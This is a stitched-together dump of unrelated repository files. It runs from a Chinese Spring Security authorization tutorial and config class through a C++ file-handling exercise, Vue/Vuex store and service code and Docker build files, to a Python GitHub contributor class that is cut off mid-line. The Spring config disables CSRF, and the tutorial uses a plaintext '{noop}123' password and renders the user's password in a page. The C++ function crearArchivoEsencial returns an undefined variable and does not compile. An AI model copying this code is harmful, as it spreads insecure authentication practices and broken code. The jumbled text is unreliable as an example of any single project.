<artifactId>thymeleaf-extras-springsecurity5</artifactId>
<version>3.0.4.RELEASE</version>
</dependency>
```
页面中使用。
```html
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org" xmlns:sec="http://www.thymeleaf.org/extras/spring-security">
<head><meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>欢迎页面</h1>
登录名:<span sec:authentication="name"></span><br>
角色:<span sec:authentication="principal.authorities"></span><br>
用户名:<span sec:authentication="principal.username"></span><br>
密码:<span sec:authentication="<PASSWORD>"></span><br>
</body>
</html>
```
登录后,访问页面的效果。

#### 授权操作
权限管理的两大核心是:认证和授权,前面我们已经介绍完了认证的内容,接下来就看下授权的操作。
**注意**:在用户认证的时候我们会保存用户所具有的所有的权限。
> URL权限配置
我们在配置`HttpSecurity`的时候是可以针对特定的URL做出授权操作的,具体如下:
```java
@RestController
public class OrderController {
@RequestMapping("/order/order1")
public String order1(){
return "order1 ....";
}
@RequestMapping("/order/order2")
public String order2(){
return "order2 ....";
}
@RequestMapping("/order/order3")
public String order3(){
return "order3 ....";
}
}
```
对应配置类的设置,配置URL权限。

登陆的账号具有 **ROLE_USER** 角色 所以
http://localhost:8080/order/order1会放过。至于为什么这里写的是USER,下面判断的会是ROLE_USER,我们可以点进去看一下
```java
//ExpressionUrlAuthorizationConfigurer.java
private static String hasAnyRole(String... authorities) {
String anyAuthorities = StringUtils.arrayToDelimitedString(authorities, "','ROLE_");
return "hasAnyRole('ROLE_" + anyAuthorities + "')";
}
// 因为这里会自动加上ROLE的前缀,所以,我们存数据库的时候,应该保证权限字符有ROLE的前缀
@Service
public class UserServiceImpl implements UserService {
/*
通过用户名查找用户
*/
@Override
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException{
// 一段从数据库,或者内存中,通过用户名或者UserDetails的代码
// ....
// 结束... UserDetail是Security自己定义的对象实体,按照规范返回即可。
//保存权限的集合,其实就是一串封装起来的代表权限的字符串
List<SimpleGrantedAuthority> list = new ArrayList<>();
// 这里也建议从 数据库或者内存中获取权限的代码,然后封装返回
list.add(new SimpleGantedAuthority("ROLE_USER"));
//这里是简单的校验
if(!"lisi".equals(username))
{
return null;
}
//将用户名和密码,权限封装起来
UserDetail user = new User("lisi","{noop}123",list);
return user;
}
}
// 如果你希望使用springsecurity这里面的权限判断,那么需要保证你的数据库里存的是ROLE_的前缀字符,但是如果你不希望使用,想要自定义权限的校验,可以自己使用。
```

http://localhost:8080/order/order2会被拦截

这个针对特定的URL的授权只能针对特定的一些URL去处理,更细话的是针对不同的场景可以情况不一样,这时我们可以通过方法级别的授权来控制如下。
**注意**:在权限验证的时候会判断用户具有的角色是否添加的有"ROLE_"前缀,所以我们在授权的角色会添加这个前缀,后面我们会在源码阶段给大家详细分析。

在`SpringSecurity`中开启权限注解的方式有三种,这三种我们都看下,实际开发中用一种即可
```java
@Configuration
@EnableWebSecurity
@EnableGlobalMethodSecurity(prePostEnabled = true) // 表示支持spring表达式注解 //@EnableGlobalMethodSecurity(jsr250Enabled = true) // 示支持jsr250-api的注解 //@EnableGlobalMethodSecurity(securedEnabled = true) // 这才是SpringSecurity提供的 注解
public class SpringSecurityConfig extends WebSecurityConfigurerAdapter
```
**Spring表达式注解使用**
```java
public class UserController {
@PreAuthorize(value = "hasRole('USER')")
@GetMapping("/query1")
public String query1(){
System.out.println("query1 ....");
return "/home";
}
@PreAuthorize(value = "hasRole('ROOT')")
@GetMapping("/query2")
public String query2(){
System.out.println("query2 ....");
return "/home";
}
@PreAuthorize(value = "hasRole('ROOT') OR hasRole('USER')")
@GetMapping("/query3")
public String query3(){
System.out.println("query3 ....");
return "/home";
}
}
```
**Jsr250注解的使用**

```java
@RestController public class PersonController {
@RolesAllowed({"USER"})
@RequestMapping("/hello1")
public String hello1(){
return "hello1 ...";
// 具有权限
}
@RolesAllowed({"ROOT"})
@RequestMapping("/hello2")
public String hello2(){
return "hello2 ...";
// 没有权限
}
@RequestMapping("/hello3")
public String hello3(){
return "hello3 ...";
}
}
```
**SpringSecurity提供的注解使用**

```java
@RestController public class MenuController {
@Secured({"ROLE_USER"})
@RequestMapping("/fun1")
public String fun1(){
return "fun1 ...";
// 可以访问
}
@Secured({"ROLE_ROOT"})
@RequestMapping("/fun2")
public String fun2(){
return "fun2 ...";
// 不能访问
}
@RequestMapping("/fun3")
public String fun3(){
return "fun3 ...";
}
}
```
> 模板中的授权
在具体的页面模板中如果我们想要实现更加细粒度的管理,在Thymeleaf中我们同样可以利用前面使用的Thymeleaf提供的扩展标签来实现。
```html
<!DOCTYPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org" xmlns:sec="http://www.thymeleaf.org/extras/spring-security">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>欢迎页面</h1>
登录名:<span sec:authentication="name"></span><br>
角色:<span sec:authentication="principal.authorities"></span><br>
用户名:<span sec:authentication="principal.username"></span><br>
密码:<span sec:authentication="principal.password"></span><br>
<span sec:authorize="isAuthenticated()">
已登陆<br> <span sec:authorize="hasRole('USER')">
<a href="#">用户管理</a> </span><br> <span sec:authorize="hasRole('ROOT')">
<a href="#">角色管理</a> </span><br> <span sec:authorize="hasRole('USER')">
<a href="#">权限管理</a> </span><br> <span sec:authorize="hasRole('ROOT')">
<a href="#">菜单管理</a> </span><br> </span>
</body>
</html>
```
<file_sep>/src/main/java/com/pop/security/config/SecurityConfigurer.java
package com.pop.security.config;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
/**
* @program: security
* @description:
* @author: Pop
* @create: 2021-03-30 20:53
**/
public class SecurityConfigurer extends WebSecurityConfigurerAdapter {
@Override
public void configure(WebSecurity web) throws Exception {
super.configure(web);
}
@Override
protected void configure(HttpSecurity http) throws Exception {
// super.configure(http); 不再调用父类中的方法,使用默认的过滤器链,而是使用我们自定义的。
http.authorizeRequests()
// 对于登录请求,失败请求,放过
.antMatchers("/none").hasAnyRole("USER")
.antMatchers("/login","/failure.html").permitAll()//放过
.anyRequest().authenticated() // 除此之外的全部请求,都需要验证
.and()
.formLogin()//认证表单
.loginPage("/login")//自定义的认证界面
.usernameParameter("username")
.passwordParameter("<PASSWORD>")
.loginProcessingUrl("/login.do")
// 认证成功的跳转页面,默认是get方式提交,自定义的成功页面后会post方式提叫,在controller中处理需要注意
.defaultSuccessUrl("/home")//成功后跳转
.failureUrl("/failure") // 失败的跳转
.permitAll()
.and()
.logout()
.logoutUrl("/logout")
.invalidateHttpSession(true)//注销会话
.logoutSuccessUrl("/login")//注销成功后跳转页面
.permitAll()
.and()
.csrf().disable();
}
}
|
1d02e25e8c5567f94bc05ad999c8fb8a6eeadb07
|
[
"Markdown",
"Java"
] | 2
|
Markdown
|
PopCandier/spring-security-demo
|
26c1b2e9ff7debde245390a10ea0f0ce9ad68502
|
4934e28289c607a8e1574f0e9000800276eac5ad
|
refs/heads/main
|
<repo_name>andres-1988/Ej-Tpo-Parcial<file_sep>/ejTipoParcial.cpp
///Ejercicio:
///Autor:DEK
///Fecha:
///Comentario:
# include<iostream>
# include<cstdlib>
# include<cstdio>
# include<cstring>
using namespace std;
# include "clases.h"
class Esencial{
private:
int numeroEmpresa;
char nombreEmpresa[30];
int cantidadEmpleados;
public:
void setNumeroEmpresa(int ne){numeroEmpresa=ne;}
void setNombreEmpresa (const char *ne){strcpy(nombreEmpresa, ne);}
void setCantidadEmpleados(int ce){cantidadEmpleados=ce;}
bool grabarEnDisco(){
FILE *p;
p=fopen("esenciales.dat", "ab");
if(p==NULL) return false;
bool escribio=fwrite(this, sizeof (Esencial),1,p);
fclose(p);
return escribio;
}
};
///prototipos
void puntoA();
void mostrarVector(int *, int );
void puntoB();
void puntoC();
bool buscarCategoria(int cat);
bool crearArchivoEsencial();
///fin prototipos
int main(){
puntoA();
puntoB();
if(crearArchivoEsencial()!=true){
cout<<"NO SE PUDO GENERAR EL ARCHIVO DE ESENCIALES"<<endl;
return -1;
}
puntoC();
cout<<endl;
system("pause");
return 0;
}
void puntoA(){
int pos=0, cantPorSeccion[9]={};
Municipio reg;
while(reg.leerDeDisco(pos)==true){
cantPorSeccion[reg.getSeccion()-1]++;
pos++;
}
cout<<"CANTIDAD DE MUNICIPIOS POR SECCION: "<<endl;
mostrarVector(cantPorSeccion, 9);
}
void puntoB(){
Empresa reg;
int pos=0;
while(reg.leerDeDisco(pos++)){
if(reg.getCantidadEmpleados()>200)
cout<<reg.getNombreEmpresa()<<endl;
}
}
void puntoC(){
Empresa reg;
Esencial aux;
bool esencial;
int pos=0;
while(reg.leerDeDisco(pos++)){
esencial=buscarCategoria(reg.getCategoria());
if(esencial==true){
aux.setNumeroEmpresa(reg.getNumeroEmpresa());
aux.setNombreEmpresa(reg.getNombreEmpresa());
aux.setCantidadEmpleados(reg.getCantidadEmpleados());
aux.grabarEnDisco();
}
}
}
bool buscarCategoria(int cat){
Categoria reg;
int pos=0;
while(reg.leerDeDisco(pos++)){
if(cat==reg.getNumeroCategoria()) return reg.getEsencial();
}
return false;
}
void copiarValorEsencial(bool *categorias){
Categoria reg;
int pos=0;
while(reg.leerDeDisco(pos++)){
categorias[reg.getNumeroCategoria()-1]=reg.getEsencial();
}
}
void otro_puntoC(){
bool categorias[80];
copiarValorEsencial(categorias);
Empresa reg;
Esencial aux;
bool esencial;
int pos=0;
while(reg.leerDeDisco(pos++)){
if(categorias[reg.getCategoria()-1]==true){
aux.setNumeroEmpresa(reg.getNumeroEmpresa());
aux.setNombreEmpresa(reg.getNombreEmpresa());
aux.setCantidadEmpleados(reg.getCantidadEmpleados());
aux.grabarEnDisco();
}
}
}
bool crearArchivoEsencial(){
FILE *p;
p=fopen("esenciales.dat", "wb");
if(p==NULL) return false;
fclose(p);
return escribio;
}
<file_sep>/README.md
# Ej-Tpo-Parcial
|
908647ecf8e56a8253a3280aa3dee5205304ff8d
|
[
"Markdown",
"C++"
] | 2
|
C++
|
andres-1988/Ej-Tpo-Parcial
|
39464e97d1d565f745ed760be58e45a2df9cefeb
|
a5cbd56e7d0646a003ebac56fb720d05a5438938
|
refs/heads/master
|
<file_sep>import EventService from '@/services/EventService';
export const namespaced = true;
export const state = {
events: [],
eventCounts: 0,
pageCounts: 0,
event: {},
perPage: 3,
};
export const mutations = {
// you should only use mutation within the scope.
ADD_EVENT(state, event) {
state.events.push(event);
},
SET_EVENTS(state, events) {
state.events = events;
},
SET_PAGE_COUNTS(state, pageCounts) {
state.pageCounts = parseInt(pageCounts);
},
SET_EVENT(state, event) {
state.event = event;
}
};
export const actions = {
// you can also use dispatch('moduleName/actionToCall', null, {root: true}) inside of an action method to call other module's actions.
updateCount({
state, commit
}, value) {
if (state.user) {
commit('INCREMENT_COUNT', value);
}
},
createEvent({
commit, dispatch
}, event) {
return EventService.postEvent(event).then(() => {
commit('ADD_EVENT', event);
const notification = {
type: 'success',
message: 'Your event has been created!'
};
dispatch('notification/add', notification, {root: true});
})
.catch((error) => {
const notification = {
type: 'error',
message: `There was a problem creating your event:${error.message}`
};
dispatch('notification/add', notification, {root: true});
throw error;
});
},
fetchEvents({
commit, dispatch, state
}, {page}) {
return EventService.getEvents(state.perPage, page)
.then((response) => {
commit('SET_EVENTS', response.data);
commit('SET_PAGE_COUNTS', parseInt(response.headers['x-total-count']) / state.perPage);
})
.catch((error) => {
const notification = {
type: 'error',
message: `There was a problem fetching events: ${error.message}`
};
dispatch('notification/add', notification, {root: true});
});
},
fetchEvent({
commit, getters
}, id) {
const event = getters.getEventById(id);
if (event) {
commit('SET_EVENT', event);
return event;
}
return EventService.getEvent(id)
.then((response) => {
commit('SET_EVENT', response.data);
return response.data;
});
}
};
export const getters = {
getEventById: state => (id) => {
return state.events.find(event => event.id == id);
}
};
|
612a935fd6c70dbd73d5f3b12142c5929c988acc
|
[
"JavaScript"
] | 1
|
JavaScript
|
ishidas/realWorldVue
|
9624e563e317b93049e4317af416bee8ef32b6c4
|
5583d04600c2df19fbdf053dcbea3fc7f778a6a8
|
refs/heads/master
|
<file_sep>import ApiService from "@/apis/api";
export const MeterReadingService = {
query(type, params) {
return ApiService.query("meter-reading" + (type === "feed" ? "/feed" : ""), {
params: params
});
},
getAll(tenantId) {
return ApiService.getAll(`/api/meter-readings/${tenantId}/get`);
},
get(id) {
return ApiService.get(`/api/meter-reading/${id}/get`, id);
},
create(params) {
return ApiService.post("/api/meter-reading/create", params );
},
update(slug, params) {
return ApiService.update("/api/meter-reading/update", slug, { rate: params });
},
destroy(slug) {
return ApiService.delete(`/api/meter-reading/${slug}`);
}
};
<file_sep>import Vue from 'vue';
import App from './App.vue';
import router from './router';
import JwtService from "@/apis/jwt";
import Datepicker from 'vuejs-datepicker';
import moment from 'moment';
import store from "./store";
import FlashMessage from '@smartweb/vue-flash-message'
import ApiService from "@/apis/api";
import { library } from '@fortawesome/fontawesome-svg-core'
import { faUserSecret, faUser, faLock, faTrash, faPencilAlt, faSignOutAlt } from '@fortawesome/free-solid-svg-icons'
import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome'
import ErrorFilter from "./common/filter/error";
import 'bootstrap'
import 'bootstrap/dist/css/bootstrap.min.css'
import './assets/styles/app.css'
library.add(faUserSecret, faTrash, faPencilAlt)
library.add(faUser)
library.add(faLock)
library.add(faSignOutAlt);
Vue.use(FlashMessage);
Vue.use(Datepicker);
Vue.use(moment);
Vue.filter("error", ErrorFilter);
Vue.component('font-awesome-icon', FontAwesomeIcon)
ApiService.init();
Vue.config.productionTip = false
// Ensure we checked auth before each page load.
router.beforeEach((to, from, next) => {
if ( (to.path === '/login' || from.path === 'login') && (JwtService.getToken() !== null) ) {
console.log('hihihi');
return next({
path: '/dashboard',
});
}
if ( (to.path === '/dashboard' || from.path === 'dashboard') && (JwtService.getToken() === null) ) {
console.log('guugugugu');
return next({
path: '/login',
});
}
if (to.path === '/' ) {
return next({
path: '/login',
});
}
next();
});
new Vue({
router,
store,
render: h => h(App),
}).$mount('#app')
<file_sep>const getters = {
allTenats(state) {
return state.tenants;
},
currentTenant(state) {
return state.tenant;
}
};
export default getters;<file_sep>import ApiService from "@/apis/api";
import { MeterReadingService } from "@/apis/services/meterReading";
import { FETCH_METER_READINGS, ADD_NEW_METER_READING } from "@/store/actions.type";
import { SET_METER_READINGS, APPEND_METER_READING } from "@/store/mutations.type";
export default {
async [FETCH_METER_READINGS](context, tenantId) {
ApiService.setHeader();
const { data } = await MeterReadingService.getAll(tenantId);
context.commit(SET_METER_READINGS, data.meterReadings);
return data;
},
async [ADD_NEW_METER_READING](context, name ) {
ApiService.setHeader();
const { data } = await MeterReadingService.create(name);
context.commit(APPEND_METER_READING, data.meterReading);
return data;
}
}<file_sep>export default {
meterReadings : [],
ratePerKwh: 0,
}<file_sep>import ApiService from "@/apis/api";
import JwtService from "@/apis/jwt";
import {
LOGIN,
LOGOUT,
REGISTER,
CHECK_AUTH,
UPDATE_USER
} from "./actions.type";
import { SET_AUTH, PURGE_AUTH, SET_ERROR, SET_SUCCESS_REGISTRATION } from "./mutations.type";
const state = {
errors: null,
user: {},
isAuthenticated: !!JwtService.getToken(),
isSuccessRegistration: false
};
const getters = {
currentUser(state) {
return state.user;
},
isAuthenticated(state) {
return state.isAuthenticated;
},
isSuccessRegistration(state) {
return state.isSuccessRegistration;
}
};
const actions = {
[LOGIN](context, payload) {
return new Promise(resolve => {
ApiService.post("/api/login", payload )
.then(({ data }) => {
console.log(data);
context.commit(SET_AUTH, data);
resolve(data);
})
.catch(({ response }) => {
context.commit(SET_ERROR, [response.data.error]);
});
});
},
[LOGOUT](context) {
context.commit(PURGE_AUTH);
},
[REGISTER](context, payload) {
return new Promise(() => {
ApiService.post("/api/register", payload)
.then(() => {
context.commit(SET_ERROR, "");
context.commit(SET_SUCCESS_REGISTRATION);
})
.catch(({ response }) => {
context.commit(SET_ERROR, response.data.error);
});
});
},
[CHECK_AUTH](context) {
if (JwtService.getToken()) {
ApiService.setHeader();
/*ApiService.get("user")
.then(({ data }) => {
context.commit(SET_AUTH, data.user);
})
.catch(({ response }) => {
context.commit(SET_ERROR, response.data.errors);
});*/
} else {
context.commit(PURGE_AUTH);
}
},
[UPDATE_USER](context, payload) {
const { email, username, password, image, bio } = payload;
const user = {
email,
username,
bio,
image
};
if (password) {
user.password = <PASSWORD>;
}
return ApiService.put("user", user).then(({ data }) => {
context.commit(SET_AUTH, data.user);
return data;
});
}
};
const mutations = {
[SET_ERROR](state, error) {
state.errors = error;
},
[SET_AUTH](state, data) {
state.isAuthenticated = true;
state.user = data.user;
state.errors = {};
JwtService.saveToken(data.token);
console.log('tok' + JwtService.getToken());
},
[SET_SUCCESS_REGISTRATION](state) {
state.isSuccessRegistration = true;
},
[PURGE_AUTH](state) {
state.isAuthenticated = false;
state.user = {};
state.errors = {};
JwtService.destroyToken();
}
};
export default {
state,
actions,
mutations,
getters
};
<file_sep>export default {
tenants: {},
user: {
id: "" ,
name: "",
meterNumber: "",
meterInitialReading: ""
}
};<file_sep>
import { ADD_NEW_TENANT } from "@/store/actions.type";
export default {
data() {
return {
name : '',
meterNumber: '',
meterInitialReading: 0,
isCreateNewTenant: false,
}
},
methods: {
toggleCreateNewTenant() {
this.isCreateNewTenant = !this.isCreateNewTenant;
},
onSubmit() {
if (this.name === '' || this.meterNumber === '' || this.meterInitialReading === '') {
this.flashMessage.show({
status: 'error',
title: 'Error!',
message: 'Please fill all the field.'
});
return;
}
this.$store
.dispatch(ADD_NEW_TENANT, {
name: this.name,
meterNumber: this.meterNumber,
meterInitialReading: this.meterInitialReading,
})
.then(({response}) => {
this.toggleCreateNewTenant();
console.log(response);
this.flashMessage.show({
status: 'success',
title: 'Success!',
// message: response.message
})
});
}
},
computed: {
},
}<file_sep>import Vue from "vue";
import Vuex from "vuex";
import * as getters from './getters';
import auth from "./auth";
import tenants from "./modules/tenants";
import powerRate from "./modules/powerRate";
import meterReading from "./modules/meterReading";
Vue.use(Vuex);
export default new Vuex.Store({
getters,
modules: {
auth,
tenants,
powerRate,
meterReading
},
strict: true,
});
<file_sep>import ApiService from "@/apis/api";
export const PowerRateService = {
query(type, params) {
return ApiService.query("power-rates" + (type === "feed" ? "/feed" : ""), {
params: params
});
},
getAll() {
return ApiService.getAll("/api/power-rates/get");
},
get(slug) {
return ApiService.get("/api/power-rate/get", slug);
},
create(params) {
return ApiService.post("/api/power-rate/create", params );
},
update(slug, params) {
return ApiService.update("/api/power-rate/update", slug, { rate: params });
},
destroy(slug) {
return ApiService.delete(`/api/power-rate/${slug}`);
}
};
<file_sep>export default {
tenants: {},
tenant: {
id: "" ,
name: "",
meterNumber: "",
meterInitialReading: ""
}
};<file_sep>import { SET_METER_READINGS, APPEND_METER_READING } from "@/store/mutations.type";
export default {
[SET_METER_READINGS](state, meterReadings) {
state.meterReadings = meterReadings;
},
[APPEND_METER_READING](state, meterReading) {
state.meterReadings.push(meterReading);
}
}<file_sep>import { SET_TENANTS, SET_TENANT, APPEND_TENANT, TENANT_REMOVE } from "@/store/mutations.type";
export default {
[SET_TENANTS](state, tenants) {
state.tenants = tenants;
},
[SET_TENANT](state, tenant) {
state.tenant = tenant;//{"id": tenant.id , "name": tenant.name , "meterNumber": tenant.meterNumber, "meterInitialReading": tenant.meterInitialReading };
},
[TENANT_REMOVE](state, id) {
state.tenants.filter(function (tenant) { return tenant.id != id});
},
[APPEND_TENANT](state, tenant) {
state.tenants.push({"id": tenant.id , "name": tenant.name , "meterNumber": tenant.meterNumber});
}
};<file_sep>
export const getTenants = state => state.tenants;<file_sep>const getters ={
allPowerRates(state) {
return state.powerRates;
},
powerRate(state) {
return state.rate;
}
};
export default getters;<file_sep>export const PURGE_AUTH = "logOut";
export const SET_AUTH = "setUser";
export const SET_ERROR = "setError";
export const SET_SUCCESS_REGISTRATION = "setSuccessRegistration";
export const SET_PROFILE = "setProfile";
export const TAG_REMOVE = "removeTag";
export const RESET_STATE = "resetModuleState";
export const SET_TENANTS = "setTenants";
export const SET_IS_CREATE_NEW_TENANT = "setIsCreateNew";
export const SET_POWER_RATES = "setPowerRates";
export const SET_POWER_RATE = "setPowerRate";
export const APPEND_TENANT = "appendTenant";
export const APPEND_POWER_RATE = "appendPowerRate";
export const APPEND_METER_READING = "appendMeterReading";
export const SET_METER_READINGS = "setMeterReadings";
export const SET_TENANT = "setTenatn";
export const SET_RATE_PER_KWH = "setRatePerKwh";
export const TENANT_REMOVE = "removeTenant";<file_sep>const getters ={
allMeterReadings (state) {
return state.meterReadings;
},
ratePerKwh (state) {
return state.ratePerKwh;
}
};
export default getters;<file_sep>//import { mapGetters } from "vuex";
import { ADD_NEW_POWER_RATE } from "@/store/actions.type";
export default {
data() {
return {
rate : 0,
isAddNewPower: false,
}
},
methods: {
toggleAddNewPowerRate() {
this.isAddNewPower = !this.isAddNewPower;
},
onSubmit() {
if (this.rate <= 0) {
this.flashMessage.show({
status: 'error',
title: 'Error!',
message: 'Enter power rate.'
});
return;
}
this.$store
.dispatch(ADD_NEW_POWER_RATE, {
rate: this.rate,
})
.then(({response}) => {
this.toggleAddNewPowerRate();
this.flashMessage.show({
status: 'success',
title: 'Success!',
message: response
})
});
}
},
computed: {
},
}
|
15bf0b563e7214b47c2ec75c2289c9e2ce69743b
|
[
"JavaScript"
] | 18
|
JavaScript
|
marlonpd/tenantbill-frontend
|
c3dc743bfe7b8f3660d95bbf534e8cf0dc40245c
|
728f8d981e9f79f3076aab760fd3e4e27a1daf26
|
refs/heads/master
|
<file_sep>"""import pygame"""
import pygame
from pygame.sprite import Sprite
class Star(Sprite):
"""Models star object"""
def __init__(self, ai_game):
super().__init__()
self.screen = ai_game.screen
self.settings = ai_game.settings
#load the star image and set its rect attribute
self.image = pygame.image.load('images/star.png')
self.image = pygame.transform.scale(self.image, (10, 10))
self.rect = self.image.get_rect()
#set star rect at top left position
self.rect.x = self.rect.width
self.rect.y = self.rect.height
#save exact position of star
self.x = float(self.rect.x)
self.y = float(self.rect.y)
def blitme(self):
"""Draw the star at its current location."""
self.screen.blit(self.image, self.rect)
def update(self):
"""Move the star down """
self.y += self.settings.star_speed
self.rect.y = self.y
<file_sep>#ALien Invasion
This is a game I'm building to help grasp some concepts with python
<file_sep>"""Import pygame"""
import pygame
class Settings:
"""A class to store all settings for Alien Invasion."""
def __init__(self):
"""Initialize the game's settings"""
#Screen Settings
self.screen_width = 1024
self.screen_height = 768
self.bg_color = (32, 32, 32)
#ship settings
self.ship_speed = 1.5
self.ship_limit = 2
#Bullet Settings
self.bullet_speed = 1.0
self.bullet_width = 3
self.bullet_height = 15
self.bullet_color = (0, 255, 255)
self.bullets_allowed = 4
#Bullet sound settings
self.bullet_sound = pygame.mixer.Sound("sounds/laser.ogg")
self.bullet_sound.set_volume(0.2)
#alien settings
self.alien_speed = 1.0
self.fleet_drop_speed = 10
self.alien_points = 50
#fleet direction of 1 represents right, -1 represents left
self.fleet_direction = 1
#how quickly the game speeds up
self.speedup_scale = 1.1
#How quickly the alien point values increase
self.score_scale = 1.5
#set difficulty
self.difficulty_settings = False
def initialize_dynamic_settings(self):
"""Initialize settings that change throughout the game for Normal difficulty"""
self.bullet_speed = 2.5
self.ship_speed = 1.5
self.alien_speed = 1.0
self.alien_points = 50
#fleet direction of 1 represents right, -1 represents left
self.fleet_direction = 1
def increase_speed(self):
"""increase speed settings."""
self.ship_speed *= self.speedup_scale
self.bullet_speed *= self.speedup_scale
self.alien_speed *= self.speedup_scale
self.alien_points = int(self.alien_points * self.score_scale)
def initialize_easy_settings(self):
"""Initialize settings that change throughout the game for Easy difficulty."""
self.bullet_speed = 3.0
self.ship_speed = 1.5
self.alien_speed = 1.0
self.alien_points = 100
#fleet direction of 1 represents right, -1 represents left
self.fleet_direction = 1
def initialize_hard_settings(self):
"""Initialize settings that change throughout the game for Hard difficulty."""
self.bullet_speed = 1.0
self.ship_speed = 2.0
self.alien_speed = 3.0
self.alien_points = 150
#fleet direction of 1 represents right, -1 represents left
self.fleet_direction = 1
|
93e149cbbb5b759563c6b701a8c721ab3dd7b69b
|
[
"Markdown",
"Python"
] | 3
|
Python
|
ingenium21/AlienInvasion
|
c9e998849031e2466ca449630b689b208c600235
|
9cacf97c432eb1fb36f97282df9177de76ca9288
|
refs/heads/master
|
<file_sep>package info.thepass.surfaceapplication;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.util.AttributeSet;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
public class PlayerView extends SurfaceView
implements SurfaceHolder.Callback {
private final static String TAG = "trak:PlayerView";
private final static String TAGM = "trak:PlayerThread";
private final Paint paintImage = new Paint(Paint.ANTI_ALIAS_FLAG);
private final Paint paintText = new Paint(Paint.ANTI_ALIAS_FLAG);
private SurfaceHolder sh;
private PlayerView pv;
private Thread thread;
private Metronome metronome;
private Context ctx;
private int counter = 0;
public PlayerView(Context context, AttributeSet attrs) {
super(context, attrs);
Log.d(TAG, "constructor");
ctx = context;
pv = this;
sh = getHolder();
sh.addCallback(this);
paintImage.setColor(Color.BLUE);
paintImage.setStyle(Paint.Style.FILL);
paintText.setColor(Color.YELLOW);
paintText.setStyle(Paint.Style.FILL);
paintText.setTextSize(20);
}
public void surfaceCreated(SurfaceHolder holder) {
Log.d(TAG, "surfaceCreated");
metronome = new Metronome();
thread = new Thread(metronome);
thread.start();
}
public void surfaceChanged(SurfaceHolder holder, int format, int width,
int height) {
}
public void surfaceDestroyed(SurfaceHolder holder) {
}
public void doPause() {
Log.d(TAG, "doPause");
metronome.onPause();
}
public void doResume() {
Log.d(TAG, "doResume " + (metronome == null));
if (metronome != null) {
metronome.onResume();
}
}
class Metronome implements Runnable {
private Object mPauseLock;
private boolean mPaused;
private boolean mFinished;
public Metronome() {
Log.d(TAGM, "constructor");
mPauseLock = new Object();
mPaused = false;
mFinished = false;
}
public void run() {
Canvas canvas = sh.lockCanvas(null);
canvas.drawColor(Color.BLACK);
sh.unlockCanvasAndPost(canvas);
while (!mFinished) {
Log.d(TAGM, "run");
Canvas c = null;
try {
try {
wait(10);
} catch (Exception e) {
}
c = sh.lockCanvas(null);
synchronized (sh) {
counter++;
if (counter > 50)
counter = 0;
doDraw(c);
}
} finally {
if (c != null) {
sh.unlockCanvasAndPost(c);
}
}
synchronized (mPauseLock) {
while (mPaused) {
Log.d(TAGM, "pauselock");
try {
mPauseLock.wait();
} catch (InterruptedException e) {
}
}
}
}
}
/**
* Call this on pause.
*/
public void onPause() {
Log.d(TAGM, "onPause");
synchronized (mPauseLock) {
mPaused = true;
}
}
/**
* Call this on resume.
*/
public void onResume() {
Log.d(TAGM, "onResume");
synchronized (mPauseLock) {
mPaused = false;
counter = 0;
mPauseLock.notify();
}
}
private void doDraw(Canvas canvas) {
Log.d(TAGM, "doDraw");
// canvas.restore();
canvas.drawColor(Color.BLACK);
canvas.drawCircle(20 + counter * 10, 20, 50, paintImage);
canvas.drawText("counter=" + counter, 20, 20, paintText);
}
}
}
|
603d7b9d6d9ba38ac8c1bad889a031d44c7bd6b4
|
[
"Java"
] | 1
|
Java
|
athepass/SurfaceApplication
|
a27f2a4ceec302877eefa67c5b0420d6b3c10889
|
ea3bbfcd4158cff7feabfba74d28e892051d2979
|
refs/heads/main
|
<repo_name>jasongullifer/languageEntropy-app-docker<file_sep>/build-app.sh
#!/bin/bash
git clone https://github.com/jasongullifer/plumber-api-docker.git
git clone https://github.com/jasongullifer/shiny-frontend-docker.git
cp languageEntropyPredictor_0.0.1.0000.tar.gz plumber-api-docker/
cp languageEntropyPredictor_0.0.1.0000.tar.gz shiny-frontend-docker/
(cd plumber-api-docker && sh build_docker.sh)
(cd shiny-frontend-docker && sh build_docker.sh)
<file_sep>/docker-compose.yml
version: "3"
services:
lep:
image: lep
ports:
- "8080:8080"
container_name: lep-container
tty: true
sfe:
image: sfe
ports:
- "8000:8000"
container_name: sfe-container
tty: true
|
c853d8ec6e155f07007946cfc5574fee7819268c
|
[
"YAML",
"Shell"
] | 2
|
Shell
|
jasongullifer/languageEntropy-app-docker
|
9089216b80953bc1ed68519e9391ea987fa94483
|
080b66642bc8562092f9f00e39fc2bcc3207d16c
|
refs/heads/main
|
<file_sep>from flask_dance.contrib.github import github
import datetime, time, operator
from mapping.Repository import Repository
class Contributor():
def __init__(self,
login=None,
id=None,
total=None,
contributions=None,
payload=None,
last_commit_date=None,
first_commit_date=None,
avg_additions="N/A",
avg_deletions="N/A",
avg_commits="N/A",
active_week="N/A",
load_stats=None):
self.login = login
self.total = total
self.contributions = contributions
self.last_commit_date = last_commit_date
self.first_commit_date = first_commit_date
self.avg_additions = avg_additions
self.avg_deletions = avg_deletions
self.avg_commits = avg_commits
self.active_week = active_week
if load_stats:
self.set_properties()
def set_properties(self):
actvties = {}
payload = Repository.get_stats_res().json()
for item in payload:
if item["author"]["login"] == self.login:
# iterate on contirbutor week data
self.total = item["total"]
actvties = self.parse_activity(item["weeks"])
break
if actvties:
# last_commit_date
last_week = actvties["last_week"]
self.last_commit_date = self.get_last_commit_date(last_week)
# first_commit_date
first_week = actvties["first_week"]
self.first_commit_date = self.get_first_commit_date(first_week)
# avg_additions
self.avg_additions = round(
actvties["activities"][0] / len(item["weeks"]), 2)
# avg_deletions
self.avg_deletions = round(
actvties["activities"][1] / len(item["weeks"]), 2)
# avg_commits
self.avg_commits = round(
actvties["activities"][2] / len(item["weeks"]), 2)
# active_week
self.active_week = actvties["active_week"][0]
else:
#commits happened in one week for that reason github not connsider it stats
# I have to look on commit end point directly :/commits?author=
